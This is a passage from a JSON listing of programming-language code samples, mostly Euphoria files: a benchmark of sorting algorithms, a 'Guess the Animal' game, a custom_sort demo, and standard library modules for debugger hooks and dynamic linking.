{<<\"baz\">>, 123}]},\n\t\t[],\n\t\t[[]],\n\t\t[1, <<\"foo\">>],\n\t\t{[{<<\"foo\">>, [123]}]},\n\t\t{[{<<\"foo\">>, [1, 2, 3]}]},\n\t\t{[{<<\"foo\">>, {[{<<\"bar\">>, true}]}}]},\n\t\t{[\n\t\t\t{<<\"foo\">>, []},\n\t\t\t{<<\"bar\">>, {[{<<\"baz\">>, true}]}}, {<<\"alice\">>, <<\"bob\">>}\n\t\t]},\n\t\t[-123, <<\"foo\">>, {[{<<\"bar\">>, []}]}, null]\n\t],\n\t{_, [Test | _]} = lists:split(random:uniform(length(Tests)) - 1, Tests),\n\tsort(Test).\n\nsort({Props}) ->\n\tobjsort(Props, []);\nsort(List) when is_list(List) ->\n\tlstsort(List, []);\nsort(Other) ->\n\tOther.\n\nobjsort([], Acc) ->\n\t{lists:sort(Acc)};\nobjsort([{K,V} | Rest], Acc) ->\n\tobjsort(Rest, [{K, sort(V)} | Acc]).\n\nlstsort([], Acc) ->\n\tlists:reverse(Acc);\nlstsort([Val | Rest], Acc) ->\n\tlstsort(Rest, [sort(Val) | Acc]).\n"
  },
  {
    "path": "samples/Euphoria/allsorts.ex",
    "content": "--****\n-- === allsorts.ex\n-- Comparison of different sorting algorithms.\n\nwithout type_check\n\ninclude std/machine.e\ninclude std/math.e\ninclude std/console.e\ninclude std/error.e\n\nset_rand(9999)\n\nconstant MAX = 50000\nconstant TRUE = 1, FALSE = 0\n\nconstant CHECK_RESULTS = TRUE\n\ninteger hybrid_limit\ninteger iterations\nsequence data\nsequence expected\n\nfile_number printer\n\ntype natural(integer x)\n\treturn x >= 0\nend type\n\ntype file_number(integer x)\n\treturn x >= - 1\nend type\n\nfunction simple_sort(sequence x)\n\t-- put x into ascending order\n\t-- using a very simple sort\n\tobject temp\n\t\n\tfor i = 1 to length(x) - 1 do\n\t\tfor j = i + 1 to length(x) do\n\t\t\tif compare(x[j], x[i]) < 0 then\n\t\t\t\ttemp = x[j]\n\t\t\t\tx[j] = x[i]\n\t\t\t\tx[i] = temp\n\t\t\tend if\n\t\tend for\n\tend for\n\treturn x\nend function\n\nfunction bubble_sort(sequence x)\n\t-- put x into ascending order\n\t-- using bubble sort\n\tobject temp\n\tnatural flip, limit\n\t\n\tflip = length(x)\n\twhile flip > 0 do\n\t\tlimit = flip\n\t\tflip = 0\n\t\tfor i = 1 to limit - 1 do\n\t\t\tif compare(x[i + 1], x[i]) < 0 then\n\t\t\t\ttemp = x[i + 1]\n\t\t\t\tx[i + 1] = x[i]\n\t\t\t\tx[i] = temp\n\t\t\t\tflip = i\n\t\t\tend if\n\t\tend for\n\tend while\n\treturn x\nend function\n\nfunction insertion_sort(sequence x)\n\t-- put x into ascending order\n\t-- using insertion sort\n\tobject temp\n\tnatural final\n\t\n\tfor i = 2 to length(x) do\n\t\ttemp = x[i]\n\t\tfinal = 1\n\t\tfor j = i - 1 to 1 by - 1 do\n\t\t\tif compare(temp, x[j]) < 0 then\n\t\t\t\tx[j + 1] = x[j]\n\t\t\telse\n\t\t\t\tfinal = j + 1\n\t\t\t\texit\n\t\t\tend if\n\t\tend for\n\t\tx[final] = temp\n\tend for\n\treturn x\nend function\n\nfunction shell_sort(sequence x)\n\t-- Shell sort based on insertion sort\n\t\n\tinteger gap, j, first, last\n\tobject tempi, tempj\n\t\n\tlast = length(x)\n\tgap = floor(last / 10) + 1\n\twhile TRUE do\n\t\tfirst = gap + 1\n\t\tfor i = first to last do\n\t\t\ttempi = x[i]\n\t\t\tj = i - gap\n\t\t\twhile TRUE do\n\t\t\t\ttempj = x[j]\n\t\t\t\tif compare(tempi, tempj) >= 0 then\n\t\t\t\t\tj += gap\n\t\t\t\t\texit\n\t\t\t\tend if\n\t\t\t\tx[j + gap] = tempj\n\t\t\t\tif j <= gap then\n\t\t\t\t\texit\n\t\t\t\tend if\n\t\t\t\tj -= gap\n\t\t\tend while\n\t\t\tx[j] = tempi\n\t\tend for\n\t\tif gap = 1 then\n\t\t\treturn x\n\t\telse\n\t\t\tgap = floor(gap / 3.5) + 1\n\t\tend if\n\tend while\nend function\n\nglobal function quick_sort(sequence x)\n\t-- put x into ascending order\n\t-- using recursive quick sort\n\tnatural n, last, mid\n\tobject temp, midval\n\t\n\tn = length(x)\n\tif n < 2 then\n\t\treturn x -- already sorted (trivial case)\n\tend if\n\t\n\tmid = floor((n + 1) / 2)\n\tmidval = x[mid]\n\tx[mid] = x[1]\n\t\n\tlast = 1\n\tfor i = 2 to n do\n\t\tif compare(x[i], midval) < 0 then\n\t\t\tlast += 1\n\t\t\ttemp = x[last]x[last] = x[i]x[i] = temp\n\t\tend if\n\tend for\n\t\n\treturn quick_sort(x[2 .. last]) & { midval } & quick_sort(x[last + 1 .. n])\nend function\n\nglobal function hybrid_sort(sequence x)\n\t-- put x into ascending order\n\t-- using recursive quick sort\n\t-- but call insertion sort for short sequences\n\tnatural n, last, mid\n\tobject midval, temp\n\t\n\tn = length(x)\n\tif n < hybrid_limit then\n\t\treturn insertion_sort(x)\n\tend if\n\t\n\tmid = floor((n + 1) / 2)\n\tmidval = x[mid]\n\tx[mid] = x[1]\n\t\n\tlast = 1\n\tfor i = 2 to n do\n\t\tif compare(x[i], midval) < 0 then\n\t\t\tlast += 1\n\t\t\ttemp = x[last]x[last] = x[i]x[i] = temp\n\t\tend if\n\tend for\n\t\n\treturn hybrid_sort(x[2 .. last]) & { midval } & hybrid_sort(x[last + 1 .. n])\nend function\n\nsequence x\n\nprocedure g_insertion_sort()\n\t-- put global variable x into ascending order\n\t-- using insertion sort of general objects\n\tobject temp\n\tnatural final\n\t\n\tfor i = 2 to length(x) do\n\t\ttemp = x[i]\n\t\tfinal = 1\n\t\tfor j = i - 1 to 1 by - 1 do\n\t\t\tif compare(temp, x[j]) < 0 then\n\t\t\t\tx[j + 1] = x[j]\n\t\t\telse\n\t\t\t\tfinal = j + 1\n\t\t\t\texit\n\t\t\tend if\n\t\tend for\n\t\tx[final] = temp\n\tend for\nend procedure\n\nprocedure best_sort(natural m, natural n)\n\t-- put x[m..n] into (roughly) ascending order\n\t-- using recursive quick sort \n\tnatural last, mid\n\tobject midval, temp\n\t\n\tif n - m < hybrid_limit then\n\t\treturn\n\tend if\n\tmid = floor((m + n) / 2)\n\tmidval = x[mid]\n\tx[mid] = x[m]\n\t\n\tlast = m\n\tfor i = m + 1 to n do\n\t\tif compare(x[i], midval) < 0 then\n\t\t\tlast += 1\n\t\t\ttemp = x[last]x[last] = x[i]x[i] = temp\n\t\tend if\n\tend for\n\tx[m] = x[last]\n\tx[last] = midval\n\tbest_sort(m, last - 1)\n\tbest_sort(last + 1, n)\nend procedure\n\nglobal function great_sort(sequence a)\n\t-- Avoids dynamic storage allocation - just passes indexes into\n\t-- a global sequence.\n\t-- Not much better than hybrid_sort which makes full use of dynamic\n\t-- storage allocation.\n\t-- Note that we only partition down to a certain degree, then do an\n\t-- insertion sort which runs fast because things are roughly in order.\n\t-- See Knuth for the details.\n\tx = a\n\tbest_sort(1, length(x))\n\tg_insertion_sort()\n\treturn x\nend function\n\nglobal function merge_sort(sequence x)\n\t-- put x into ascending order\n\t-- using recursive merge sort\n\tnatural n, mid\n\tsequence merged, a, b\n\t\n\tn = length(x)\n\tif n < 2 then\n\t\treturn x\n\tend if\n\t\n\tmid = floor(n / 2)\n\ta = merge_sort(x[1 .. mid]) -- sort the first half\n\tb = merge_sort(x[mid + 1 .. n]) -- sort the second half\n\t\n\t-- merge the two sorted halves into one\n\tmerged = {}\n\twhile length(a) > 0 and length(b) > 0 do\n\t\tif compare(a[1], b[1]) < 0 then\n\t\t\tmerged = append(merged, a[1])\n\t\t\ta = a[2 .. length(a)]\n\t\telse\n\t\t\tmerged = append(merged, b[1])\n\t\t\tb = b[2 .. length(b)]\n\t\tend if\n\tend while\n\treturn merged & a & b -- merged data plus leftovers\nend function\n\ninteger min_value, max_value -- for bucket sort\n\nfunction bucket_sort(sequence s)\n\t-- Sort s into ascending order. No elements are compared.\n\t-- The values of s must be integers from min_value to max_value.\n\tsequence count, sorted\n\tinteger value, k, offset, c\n\t\n\tcount = repeat(0, max_value - min_value + 1)\n\toffset = min_value - 1\n\t-- count the number of occurrences of each integer value:\n\tfor i = 1 to length(s) do\n\t\tvalue = s[i] - offset\n\t\tcount[value] += 1\n\tend for\n\tsorted = repeat(0, length(s))\n\tk = 1\n\t-- make the resulting sorted sequence\n\tfor i = 1 to length(count) do\n\t\tc = count[i]\n\t\tif c then\n\t\t\tsorted[k .. k + c - 1] = i + offset\n\t\t\tk += c\n\t\tend if\n\tend for\n\treturn sorted\nend function\n\nprocedure check_results(sequence sdata, integer iter, sequence sname)\n\t-- compare results with another sort to make sure they are correct\n\tif CHECK_RESULTS then\n\t\tif not equal(sdata, expected[iter]) then\n\t\t\tcrash(\"Output from %s is invalid\", { sname })\n\t\tend if\n\tend if\nend procedure\n\nprocedure measure(sequence name)\n\t-- time one sort    \n\tinteger id\n\tatom t0, t\n\tsequence sdata\n\tinteger cntr\n\tinteger i\n\t\n\tid = routine_id(name)\n\tt0 = time() + 1\n\tcntr = 0\n\ti = 0\n\twhile t0 > time() do\n\t\ti += 1\n\t\tif i > length(data) then\n\t\t\ti = 1\n\t\tend if\n\t\tsdata = call_func(id, { data[i] })\n\t\t\n\t\tcheck_results(sdata, i, name)\n\t\tcntr += 1\n\tend while\n\tt = time() - t0\n\tprintf(printer, \"%15s %9d\\n\", { name, cntr })\nend procedure\n\nprocedure all_sorts()\n\t-- test all sorting routines over a range of numbers of items\n\t\n\tnatural nitems\n\t\n\tprinter = 1 -- open(\"PRN\", \"w\")\n\thybrid_limit = 20\n\t\n\tnitems = 500\n\titerations = floor(MAX / nitems)\n\t\n\t-- get several sets of data of length nitems\n\tprintf(printer, \"\\nNumber of completed sorts for %d items\\n\", nitems)\n\t\n\tdata = rand(repeat(repeat(100, nitems), 17))\n\texpected = data\n\tfor i = 1 to length(data) do\n\t\texpected[i] = shell_sort(expected[i])\n\tend for\n\t\n\tmin_value = 1\n\tmax_value = 100\n\t\n\tmeasure(\"bubble_sort\")\n\tmeasure(\"simple_sort\")\n\tmeasure(\"insertion_sort\")\n\tmeasure(\"merge_sort\")\n\tmeasure(\"quick_sort\")\n\tmeasure(\"hybrid_sort\")\n\tmeasure(\"great_sort\")\n\tmeasure(\"shell_sort\")\n\tmeasure(\"bucket_sort\")\n\t\nend procedure\n\nall_sorts()\n\n"
  },
  {
    "path": "samples/Euphoria/animal.ex",
    "content": "--****\n-- === animal.ex\n-- Guess the Animal game. It learns as you play.\n\nconstant\n\tnode_type = 1,\n\tDESCRIPTION = 1,\n\tANIMAL = 2,\n\tquestion = 2,\n\twhen_true = 3,\n\twhen_false = 4\n\nconstant\n\tTRUE = 1,\n\tFALSE = 0\n\nconstant KEYBOARD = 0, SCREEN = 1\n\nobject database, p, prev_p, prev_answer\n\nfunction Yes() -- returns TRUE if the answer is yes\n\tobject answer\n\t\n\tanswer = '?'\n\twhile answer = '?' do\n\t\tanswer = gets(KEYBOARD)\n\t\tif length(answer) > 0 then\n\t\t\tif answer[1] = 'y' or answer[1] = 'Y' then\n\t\t\t\tanswer = TRUE\n\t\t\telsif answer[1] = 'n' or answer[1] = 'N' then\n\t\t\t\tanswer = FALSE\n\t\t\telse\n\t\t\t\tanswer = '?'\n\t\t\tend if\n\t\telse\n\t\t\tanswer = '?'\n\t\tend if\n\t\tif answer = '?' then\n\t\t\tputs(SCREEN, \"\\nPlease answer y or n: \")\n\t\tend if\n\tend while\n\treturn answer\nend function\n\nprocedure guess() -- narrows it down to one animal\n\twhile TRUE do\n\t\tif database[p][node_type] = ANIMAL then\n\t\t\treturn\n\t\tend if\n\t\tprintf(SCREEN, \"\\n%s? \", { database[p][question] })\n\t\tprev_p = p\n\t\tif Yes() then\n\t\t\tp = database[p][when_true]\n\t\t\tprev_answer = when_true\n\t\telse\n\t\t\tp = database[p][when_false]\n\t\t\tprev_answer = when_false\n\t\tend if\n\tend while\nend procedure\n\nglobal procedure animal()\n\t-- updates database of animal information\n\t\n\tobject new, new_question, correct, answer\n\t\n\t-- initial database:\n\t--           record type     text         Y  N\n\tdatabase = { { DESCRIPTION, \"\\tCan it fly\", 2, 3 },\n\t\t { ANIMAL, \"an eagle\" },\n\t\t { ANIMAL, \"a dog\" } }\n\twhile TRUE do\n\t\tp = 1\n\t\tprintf(SCREEN, \"%s\\n\",\n\t\t\t { \"\\nThink of an animal. Hit <cr> when you are ready, q to quit\" })\n\t\tanswer = gets(KEYBOARD)\n\t\tif length(answer) > 0 then\n\t\t\tif answer[1] = 'q' then\n\t\t\t\treturn\n\t\t\tend if\n\t\tend if\n\t\tguess()\n\t\tprintf(SCREEN, \"\\n\\tIs it %s? \", { database[p][question] })\n\t\tif not Yes() then\n\t\t\tputs(SCREEN, \"\\nI give up. What was it? \")\n\t\t\tcorrect = gets(KEYBOARD)\n\t\t\tcorrect = correct[1 .. length(correct) - 1]\n\t\t\tdatabase = append(database, { ANIMAL, correct })\n\t\t\tnew = length(database)\n\t\t\tprintf(SCREEN, \"\\n%s%s%s%s\\n\",\n\t\t\t\t { \"Please give me a question that would distinguish \",\n\t\t\t\t\tdatabase[p][question], \" from \", correct })\n\t\t\tnew_question = '\\t' & gets(KEYBOARD)\n\t\t\tnew_question = new_question[1 .. length(new_question) - 1]\n\t\t\tif new_question[length(new_question)] = '?' then\n\t\t\t\tnew_question = new_question[1 .. length(new_question) - 1]\n\t\t\tend if\n\t\t\tprintf(SCREEN, \"\\nFor %s the answer would be: \", { correct })\n\t\t\tif Yes() then\n\t\t\t\tdatabase = append(database, { DESCRIPTION, new_question, new, p })\n\t\t\telse\n\t\t\t\tdatabase = append(database, { DESCRIPTION, new_question, p, new })\n\t\t\tend if\n\t\t\tdatabase[prev_p][prev_answer] = length(database)\n\t\tend if\n\tend while\nend procedure\n\nanimal()\n\n"
  },
  {
    "path": "samples/Euphoria/csort.ex",
    "content": "--****\n-- === csort.ex\n-- Demo of custom_sort(), routine_id() The Euphoria custom_sort routine is passed the \n-- routine id of the comparison function to be used when sorting.\n\ninclude std/sort.e -- contains custom_sort()\ninclude std/console.e\n\nconstant NAME = 1,\n\tPOPULATION = 2\n\nconstant statistics = {\n\t { \"Canada\", 27.4 },\n\t { \"United States\", 255.6 },\n\t { \"Brazil\", 150.8 },\n\t { \"Denmark\", 5.2 },\n\t { \"Sweden\", 8.7 },\n\t { \"France\", 56.9 },\n\t { \"Germany\", 80.6 },\n\t { \"Netherlands\", 15.2 },\n\t { \"Italy\", 58 },\n\t { \"New Zealand\", 3.4 }\n}\n\nfunction compare_name(sequence a, sequence b)\n\t-- Compare two sequences (records) according to NAME.\n\treturn compare(a[NAME], b[NAME])\nend function\n\nfunction compare_pop(sequence a, sequence b)\n\t-- Compare two sequences (records) according to POPULATION.\n\t-- Note: comparing b vs. a, rather than a vs. b, makes \n\t-- the bigger population come first.\n\treturn compare(b[POPULATION], a[POPULATION])\nend function\n\nsequence sorted_by_pop, sorted_by_name\ninteger by_pop, by_name\n\nby_pop = routine_id(\"compare_pop\")\nby_name = routine_id(\"compare_name\")\n\nsorted_by_pop = custom_sort(by_pop, statistics)\nsorted_by_name = custom_sort(by_name, statistics)\n\nputs(1, \"sorted by population\\t\\t  sorted by name\\n\\n\")\nfor i = 1 to length(sorted_by_pop) do\n\tprintf(1, \"%13s %6.1f\\t\\t%13s %6.1f\\n\",\n\t\tsorted_by_pop[i] & sorted_by_name[i])\nend for\n\nifdef WINDOWS and GUI then\n\tputs(1, \"This program must be run from the command-line:\\n\\n\")\nend ifdef\n\nmaybe_any_key()\n\n"
  },
  {
    "path": "samples/Euphoria/debug.e",
    "content": "--****\n-- == Debugging tools\n\nnamespace debug\n\ninclude std/dll.e\ninclude std/machine.e\ninclude euphoria/symstruct.e\n\nwithout trace\n\nconstant M_CALL_STACK = 103\n\n--****\n-- === Call Stack Constants\n\npublic enum\n\tCS_ROUTINE_NAME,\n\tCS_FILE_NAME,\n\tCS_LINE_NO,\n\tCS_ROUTINE_SYM,\n\tCS_PC,\n\tCS_GLINE\n\n--****\n--=== DEBUG_ROUTINE Enum Type\n\npublic enum type DEBUG_ROUTINE\n\tSHOW_DEBUG,\n\tDISPLAY_VAR,\n\tUPDATE_GLOBALS,\n\tDEBUG_SCREEN,\n\tERASE_PRIVATES,\n\tERASE_SYMBOL\nend type\n\n--****\n--=== Debugging Routines\n\n--**\n-- Returns information about the call stack of the code currently running.\npublic function call_stack()\n\treturn machine_func( M_CALL_STACK, {} )\nend function\n\natom\n\tsymbol_table    = 0,\n\tslist           = 0,\n\top_table        = 0,\n\tdata_buffer     = 0,\n\tfile_name_ptr   = 0\n\n-- C routines for interfacing with the interpreter\ninteger\n\tread_object_cid   = -1,\n\ttrace_off_cid     = -1,\n\tdisable_trace_cid = -1,\n\tstep_over_cid     = -1,\n\tabort_program_cid = -1,\n\tRTLookup_cid      = -1,\n\tget_pc_cid        = -1,\n\tis_novalue_cid    = -1,\n\tback_trace_cid    = -1,\n\tcall_stack_cid    = -1,\n\tbreak_routine_cid = -1\n\ninteger\n\tshow_debug_rid     = -1,\n\tdisplay_var_rid    = -1,\n\tupdate_globals_rid = -1,\n\tdebug_screen_rid   = -1,\n\terase_privates_rid = -1,\n\terase_symbol_rid   = -1\n\natom showing_line = -1\n\nfunction show_debug()\n\tif show_debug_rid != -1 then\n\t\tshowing_line = peek_pointer( data_buffer )\n\t\tcall_proc( show_debug_rid, { showing_line } )\n\tend if\n\treturn 0\nend function\n\nfunction display_var()\n\tif display_var_rid != -1 then\n\t\tcall_proc( display_var_rid, peek_pointer( data_buffer & 2 ) )\n\tend if\n\treturn 0\nend function\n\nfunction update_globals()\n\tif update_globals_rid != -1 then\n\t\tcall_proc( update_globals_rid, {} )\n\tend if\n\treturn 0\nend function\n\nfunction debug_screen()\n\tif debug_screen_rid != -1 then\n\t\tcall_proc( debug_screen_rid, {} )\n\tend if\n\treturn 0\nend function\n\nfunction erase_privates( atom proc_sym )\n\tif erase_privates_rid != -1 then\n\t\tcall_proc( erase_privates_rid, { proc_sym } )\n\tend if\n\treturn 0\nend function\n\nfunction erase_symbol( atom sym )\n\tif erase_symbol_rid != -1 then\n\t\tcall_proc( erase_symbol_rid, { sym } )\n\tend if\n\treturn 0\nend function\n\npublic constant M_INIT_DEBUGGER  = 104\n\nenum type INIT_ACCESSORS\n\tIA_SYMTAB,\n\tIA_SLIST,\n\tIA_OPS,\n\tIA_READ_OBJECT,\n\tIA_FILE_NAME,\n\tIA_TRACE_OFF,\n\tIA_DISABLE_TRACE,\n\tIA_STEP_OVER,\n\tIA_ABORT_PROGRAM,\n\tIA_RTLOOKUP,\n\tIA_GET_PC,\n\tIA_IS_NOVALUE,\n\tIA_CALL_STACK,\n\tIA_BREAK_ROUTINE\nend type\n\nenum type INIT_PARAMS\n\tIP_BUFFER,\n\tIP_SHOW_DEBUG,\n\tIP_DISPLAY_VAR,\n\tIP_UPDATE_GLOBALS,\n\tIP_DEBUG_SCREEN,\n\tIP_ERASE_PRIVATE_NAMES,\n\tIP_ERASE_SYMBOL,\n\tIP_SIZE\nend type\n\n--**\n-- Initializes an external debugger.  It can also be called\n-- from a debugger compiled into a DLL / SO.\npublic procedure initialize_debugger( atom init_ptr )\n\t-- let the interpreter know that we're using an external debugger\n\tdata_buffer = allocate( sizeof( C_POINTER ) )\n\n\tsequence init_params = repeat( 0, IP_SIZE - 1 )\n\tinit_params[IP_BUFFER] = data_buffer\n\tinit_params[IP_SHOW_DEBUG]          = call_back( '+' & routine_id(\"show_debug\") )\n\tinit_params[IP_DISPLAY_VAR]         = call_back( '+' & routine_id(\"display_var\") )\n\tinit_params[IP_UPDATE_GLOBALS]      = call_back( '+' & routine_id(\"update_globals\") )\n\tinit_params[IP_DEBUG_SCREEN]        = call_back( '+' & routine_id(\"debug_screen\") )\n\tinit_params[IP_ERASE_PRIVATE_NAMES] = call_back( '+' & routine_id(\"erase_privates\") )\n\tinit_params[IP_ERASE_SYMBOL]        = call_back( '+' & routine_id(\"erase_symbol\") )\n\n\tsequence init_data = c_func( define_c_func( \"\", { '+', init_ptr}, { E_SEQUENCE }, E_SEQUENCE ), { init_params } )\n\tsymbol_table       = init_data[IA_SYMTAB]\n\tslist              = init_data[IA_SLIST]\n\top_table           = init_data[IA_OPS]\n\tread_object_cid    = define_c_func( \"\", { '+', init_data[IA_READ_OBJECT] }, { C_POINTER }, E_OBJECT )\n\tfile_name_ptr      = init_data[IA_FILE_NAME]\n\ttrace_off_cid      = define_c_proc( \"\", { '+', init_data[IA_TRACE_OFF] }, {} )\n\tdisable_trace_cid  = define_c_proc( \"\", { '+', init_data[IA_DISABLE_TRACE] }, {} )\n\tstep_over_cid      = define_c_proc( \"\", { '+', init_data[IA_STEP_OVER] }, {} )\n\tabort_program_cid  = define_c_proc( \"\", { '+', init_data[IA_ABORT_PROGRAM] }, {} )\n\tRTLookup_cid       = define_c_func( \"\", { '+', init_data[IA_RTLOOKUP] },\n\t\t\t{ C_POINTER, C_INT, C_POINTER, C_POINTER, C_INT, C_ULONG}, C_POINTER )\n\tget_pc_cid         = define_c_func( \"\", { '+', init_data[IA_GET_PC] }, {}, C_POINTER )\n\tis_novalue_cid     = define_c_func( \"\", { '+', init_data[IA_IS_NOVALUE] }, { C_POINTER }, C_INT )\n\tcall_stack_cid     = define_c_func( \"\", { '+', init_data[IA_CALL_STACK] }, { C_INT }, E_OBJECT )\n\tbreak_routine_cid  = define_c_func( \"\", { '+', init_data[IA_BREAK_ROUTINE] }, { C_POINTER, C_INT }, C_INT )\n\nend procedure\n\n-- **\n-- Used to initialize the external debuggers handlers.\npublic procedure set_debug_rid( DEBUG_ROUTINE rtn, integer rid )\n\tswitch rtn do\n\t\tcase SHOW_DEBUG then\n\t\t\tshow_debug_rid = rid\n\t\tcase DISPLAY_VAR then\n\t\t\tdisplay_var_rid = rid\n\t\tcase UPDATE_GLOBALS then\n\t\t\tupdate_globals_rid = rid\n\t\tcase DEBUG_SCREEN then\n\t\t\tdebug_screen_rid = rid\n\t\tcase ERASE_PRIVATES then\n\t\t\terase_privates_rid = rid\n\t\tcase ERASE_SYMBOL then\n\t\t\terase_symbol_rid = rid\n\tend switch\nend procedure\n\npublic function read_object( atom sym )\n\treturn c_func( read_object_cid, { sym } )\nend function\n\npublic procedure trace_off()\n\tc_proc( trace_off_cid, {} )\nend procedure\n\npublic procedure disable_trace()\n\tc_proc( disable_trace_cid, {} )\nend procedure\n\npublic procedure step_over()\n\tc_proc( step_over_cid, {} )\nend procedure\n\npublic procedure abort_program()\n\tc_proc( abort_program_cid, {} )\nend procedure\n\npublic function get_current_line()\n\treturn showing_line\nend function\n\npublic function symbol_lookup( sequence name, integer line = get_current_line(), atom pc = get_pc() )\n\tatom name_ptr = allocate_string( name, 1 )\n\n-- \tsymtab_ptr RTLookup(char *name, int file, intptr_t *pc, symtab_ptr routine, int stlen, unsigned long current_line )\n\treturn c_func( RTLookup_cid, { name_ptr, get_file_no( line ), pc, 0, peek_pointer( symbol_table) , line } )\nend function\n\npublic function get_pc()\n\treturn c_func( get_pc_cid, {} )\nend function\n\npublic function is_novalue( atom sym_ptr )\n\treturn c_func( is_novalue_cid, { sym_ptr } )\nend function\n\npublic function debugger_call_stack()\n\tsequence stack = c_func( call_stack_cid, { 1 } )\n\tifdef EUI then\n\t\t-- if using an interpreted debugger, strip off debugger junk\n\t\t-- from the top of the stack:\n\t\tfor i = 1 to length( stack ) do\n\t\t\tif length( stack[i][2] ) = 0 then\n\t\t\t\tstack = remove( stack, 1, i )\n\t\t\t\texit\n\t\t\tend if\n\t\tend for\n\tend ifdef\n\treturn stack\nend function\n\npublic function break_routine( atom routine_sym, integer enable )\n\treturn c_func( break_routine_cid, { routine_sym, enable } )\nend function\n\npublic function get_name( atom sym )\n\treturn peek_string( peek_pointer( sym + ST_NAME ) )\nend function\n\npublic function get_source( integer line )\n\treturn peek_string( peek_pointer( slist + SL_SIZE * line + SL_SRC ) )\nend function\n\npublic function get_file_no( integer line )\n\treturn peek( slist + line * SL_SIZE + SL_FILE_NO )\nend function\n\npublic function get_file_name( integer file_no )\n\treturn peek_string( peek_pointer( file_name_ptr + sizeof( C_POINTER ) * file_no ) )\nend function\n\npublic function get_file_line( integer line )\n\treturn peek2u( slist + line * SL_SIZE + SL_LINE )\nend function\n\npublic function get_next( atom sym )\n\treturn peek_pointer( sym + ST_NEXT )\nend function\n\npublic function is_variable( atom sym_ptr )\n\tif sym_ptr = 0 then\n\t\treturn 0\n\tend if\n\n\treturn -100 = peek4s( sym_ptr + ST_TOKEN )\nend function\n\npublic function get_parameter_syms( atom rtn_sym )\n\tinteger param_count = peek4u( rtn_sym + ST_NUM_ARGS )\n\tsequence syms = repeat( 0, param_count )\n\tatom next_sym = peek_pointer( rtn_sym + ST_NEXT )\n\tfor i = 1 to param_count do\n\t\twhile peek( next_sym + ST_SCOPE ) != 3 do -- SC_PRIVATE = 3\n\t\t\tnext_sym = peek_pointer( next_sym + ST_NEXT )\n\t\tend while\n\t\tsyms[i] = next_sym\n\tend for\n\treturn syms\nend function\n\npublic function get_symbol_table()\n\treturn symbol_table\nend function\n"
  },
  {
    "path": "samples/Euphoria/dll.e",
    "content": "--****\n-- == Dynamic Linking to External Code\n\nnamespace dll\n\ninclude std/error.e\ninclude std/machine.e\ninclude std/types.e\n\n--****\n-- === C Type Constants\n-- These C type constants are used when defining external C functions in a shared\n-- library file.\n\nwith define NO_CHANDLE\n\npublic constant\n\tC_CHAR    = #01000001,\n\tC_BYTE    = #01000001,\n\tC_UCHAR   = #02000001,\n\tC_UBYTE   = #02000001,\n\tC_SHORT   = #01000002,\n\tC_WORD   = #01000002,\n\tC_USHORT  = #02000002,\n\tC_INT     = #01000004,\n\tC_BOOL    = C_INT,\n\tC_UINT    = #02000004,\n\tC_LONG    = #01000008,\n\tC_ULONG   = #02000008,\n\tC_SIZE_T  = C_ULONG,\n\tC_POINTER = #03000001,\n\tC_LONGLONG  = #03000002,\n\tC_ULONGLONG  = #03000010\nifdef BITS32 then\npublic constant\n\tC_LONG_PTR = C_LONG\nelsedef\npublic constant\n\tC_LONG_PTR = C_LONGLONG\nend ifdef\npublic constant\n\tC_DWORD   = C_UINT,\n\tC_FLOAT   = #03000004,\n\tC_DOUBLE  = #03000008,\n\tC_DWORDLONG  = C_LONGLONG\n\n--****\n-- === External Euphoria Type Constants\n-- These are used for arguments to and the return value from a Euphoria shared\n-- library file (##.dll##, ##.so##, or ##.dylib##).\n\npublic constant\n\tE_INTEGER = #06000004,\n\tE_ATOM    = #07000004,\n\tE_SEQUENCE= #08000004,\n\tE_OBJECT  = #09000004\n\n--****\n-- === Constants\n\npublic constant NULL = 0\n\nconstant M_OPEN_DLL  = 50,\n\t\t M_DEFINE_C  = 51,\n\t\t M_DEFINE_VAR = 56\n\n--****\n-- === Routines\n\n--**\n-- opens a //Windows// dynamic link library (##.dll##) file, or a //Unix// shared library\n-- (##.so##) file.\npublic function open_dll(sequence file_name)\n\tif length(file_name) > 0 and types:string(file_name) then\n\t\treturn machine_func(M_OPEN_DLL, file_name)\n\tend if\n\n\t-- We have a list of filenames to try, try each one, when one succeeds\n\t-- abort the search and return it's value\n\tfor idx = 1 to length(file_name) do\n\t\tatom fh = machine_func(M_OPEN_DLL, file_name[idx])\n\t\tif not fh = 0 then\n\t\t\treturn fh\n\t\tend if\n\tend for\n\n\treturn 0\nend function\n\n--**\n-- gets the address of a symbol in a shared library or in RAM.\npublic function define_c_var(atom lib, sequence variable_name)\n\treturn machine_func(M_DEFINE_VAR, {lib, variable_name})\nend function\n\n--**\n-- defines the characteristics of either a C function, or a machine-code routine that you\n-- wish to call as a procedure from your Euphoria program.\npublic function define_c_proc(object lib, object routine_name, sequence arg_types)\n\tif atom(routine_name) and not machine:safe_address(routine_name, 1, machine:A_EXECUTE) then\n\t\terror:crash(\"A C function is being defined from Non-executable memory.\")\n\tend if\n\treturn machine_func(M_DEFINE_C, {lib, routine_name, arg_types, 0})\nend function\n\n--**\n-- defines the characteristics of either a C function, or a machine-code routine that returns\n-- a value.\npublic function define_c_func(object lib, object routine_name, sequence arg_types, atom return_type)\n\tif atom(routine_name) and not machine:safe_address(routine_name, 1, machine:A_EXECUTE) then\n\t\terror:crash(\"A C function is being defined from Non-executable memory.\")\n\tend if\n\treturn machine_func(M_DEFINE_C, {lib, routine_name, arg_types, return_type})\nend function\n\nconstant M_CALL_BACK = 52\n\n--**\n-- gets a machine address for an Euphoria procedure.\npublic function call_back(object id)\n\treturn machine_func(M_CALL_BACK, id)\nend function\n\nifdef EU4_0 then\n\t--**\n\t-- @nodoc@\n\tpublic function sizeof(integer x)\n\t\tswitch x with fallthru do\n\t\t\tcase C_CHAR, C_BYTE, C_UCHAR, C_UBYTE then\n\t\t\t\treturn 1\n\t\t\tcase C_SHORT, C_WORD, C_USHORT then\n\t\t\t\treturn 2\n\t\t\t-- In 4.0 everything is x86-32\n\t\t\tcase E_OBJECT, E_ATOM, E_SEQUENCE, E_INTEGER then\n\t\t\tcase C_INT, C_LONG, C_ULONG then\n\t\t\tcase C_SIZE_T, C_POINTER, C_FLOAT then\n\t\t\t\treturn 4\n\t\t\tcase C_DOUBLE, C_DWORDLONG, C_LONGLONG then\n\t\t\t\treturn 8\n\t\tend switch\n\tend function\nend ifdef\n"
  },
  {
    "path": "samples/Euphoria/hash.ex",
